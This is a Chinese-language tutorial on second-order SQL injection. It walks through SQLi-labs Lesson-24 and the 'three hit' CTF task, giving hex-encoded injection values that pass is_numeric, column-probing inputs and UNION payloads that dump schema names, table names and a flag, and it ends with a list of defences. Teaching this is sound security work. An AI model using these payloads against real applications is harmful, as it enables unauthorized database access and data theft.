由Three Hit聊聊二次注入
字数 1295 2025-08-18 11:37:12

二次注入技术详解

一、二次注入基本概念

定义:二次注入是指已存储(数据库、文件)的用户输入被读取后再次进入到SQL查询语句中导致的注入攻击。

特点

  • 比普通SQL注入利用更困难,门槛更高
  • 攻击过程分为两个阶段:数据存储阶段和数据使用阶段
  • 通常绕过前端直接输入过滤

二、二次注入原理

  1. 第一阶段:攻击者提交恶意数据

    • 数据经过转义处理(如addslashes、mysql_real_escape_string等)
    • 转义后的"安全"数据被存入数据库
    • 但数据库中存储的是原始恶意数据(转义被还原)
  2. 第二阶段:程序使用存储的数据

    • 程序从数据库取出"可信"数据
    • 未进行二次检验和处理
    • 直接拼接到SQL查询中执行

关键点:开发者错误认为存入数据库的数据就是安全的,忽略了从数据库取出时的再检验。

三、二次注入实例分析

实例1:SQLIlab Lesson-24

攻击流程

  1. 注册特殊用户名:test'#

    • 注册时经过mysql_escape_string转义
    • 但数据库中存储原始值test'#
  2. 使用test'#登录并修改密码

    • 实际执行的SQL:
      UPDATE users SET PASSWORD='22' where username='test'#' and password='$curr_pass'
      
    • #注释掉后续密码验证条件
    • 结果修改了test用户的密码而非test'#的密码

漏洞根源

  • 从数据库取出用户名时未做处理
  • 直接拼接到UPDATE语句中

实例2:强网杯"three hit"题目

环境特点

  • 用户名限制:0-9a-zA-Z
  • age限制:只能是数字
  • 但age支持十六进制表示

攻击流程

  1. 发现注入点

    • 通过.index.php.swp获取源码
    • 发现age字段使用is_numeric检查,可用十六进制绕过
  2. 验证注入

    • 注册age为0x3120616e6420313d3123(1 and 1=1#)
    • 注册age为0x3120616e6420313d3223(1 and 1=2#)
    • 观察返回结果差异确认注入存在
  3. 探测列数

    • 注册age为0x31206f72646572206279203423(1 order by 4#) → 成功
    • 注册age为0x31206f72646572206279203523(1 order by 5#) → 失败
    • 确定列数为4
  4. 利用UNION注入

    • 确定显示位:
      1 and 1=2 union select 1,2,3,4#
      
    • 发现第2列可用于显示
  5. 数据泄露

    • 爆数据库名:
      1 and 1=2 union select 1,group_concat(schema_name),3,4 from information_schema.schemata#
      
    • 爆表名:
      1 and 1=2 union select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema='qwb'#
      
    • 最终获取flag:
      19 and 1=2 union select null,concat(flag),null,null from flag#
      

四、防御措施

  1. 输入处理

    • 不仅对直接输入过滤,对从数据库取出的数据也要过滤
    • 使用参数化查询(Prepared Statements)
  2. 数据存储

    • 考虑存储转义后的数据
    • 或标记不可信数据的来源
  3. 权限控制

    • 数据库用户最小权限原则
    • 避免使用高权限账户连接数据库
  4. 代码审计

    • 检查所有从数据库取出数据的处理流程
    • 特别注意数据拼接SQL语句的位置

五、总结

二次注入是一种需要两个阶段完成的SQL注入攻击,其特点在于:

  • 绕过初次输入过滤
  • 利用开发者对数据库数据的信任
  • 通常需要结合应用逻辑进行分析

防御关键在于建立"数据无论来自何处都不可信"的安全意识,对所有用于构建SQL语句的数据进行严格处理。

二次注入技术详解 一、二次注入基本概念 定义 :二次注入是指已存储(数据库、文件)的用户输入被读取后再次进入到SQL查询语句中导致的注入攻击。 特点 : 比普通SQL注入利用更困难,门槛更高 攻击过程分为两个阶段:数据存储阶段和数据使用阶段 通常绕过前端直接输入过滤 二、二次注入原理 第一阶段 :攻击者提交恶意数据 数据经过转义处理(如addslashes、mysql_ real_ escape_ string等) 转义后的"安全"数据被存入数据库 但数据库中存储的是原始恶意数据(转义被还原) 第二阶段 :程序使用存储的数据 程序从数据库取出"可信"数据 未进行二次检验和处理 直接拼接到SQL查询中执行 关键点 :开发者错误认为存入数据库的数据就是安全的,忽略了从数据库取出时的再检验。 三、二次注入实例分析 实例1:SQLIlab Lesson-24 攻击流程 : 注册特殊用户名: test'# 注册时经过 mysql_escape_string 转义 但数据库中存储原始值 test'# 使用 test'# 登录并修改密码 实际执行的SQL: # 注释掉后续密码验证条件 结果修改了 test 用户的密码而非 test'# 的密码 漏洞根源 : 从数据库取出用户名时未做处理 直接拼接到UPDATE语句中 实例2:强网杯"three hit"题目 环境特点 : 用户名限制:0-9a-zA-Z age限制:只能是数字 但age支持十六进制表示 攻击流程 : 发现注入点 : 通过 .index.php.swp 获取源码 发现age字段使用 is_numeric 检查,可用十六进制绕过 验证注入 : 注册age为 0x3120616e6420313d3123 (1 and 1=1#) 注册age为 0x3120616e6420313d3223 (1 and 1=2#) 观察返回结果差异确认注入存在 探测列数 : 注册age为 0x31206f72646572206279203423 (1 order by 4#) → 成功 注册age为 0x31206f72646572206279203523 (1 order by 5#) → 失败 确定列数为4 利用UNION注入 : 确定显示位: 发现第2列可用于显示 数据泄露 : 爆数据库名: 爆表名: 最终获取flag: 四、防御措施 输入处理 : 不仅对直接输入过滤,对从数据库取出的数据也要过滤 使用参数化查询(Prepared Statements) 数据存储 : 考虑存储转义后的数据 或标记不可信数据的来源 权限控制 : 数据库用户最小权限原则 避免使用高权限账户连接数据库 代码审计 : 检查所有从数据库取出数据的处理流程 特别注意数据拼接SQL语句的位置 五、总结 二次注入是一种需要两个阶段完成的SQL注入攻击,其特点在于: 绕过初次输入过滤 利用开发者对数据库数据的信任 通常需要结合应用逻辑进行分析 防御关键在于建立"数据无论来自何处都不可信"的安全意识,对所有用于构建SQL语句的数据进行严格处理。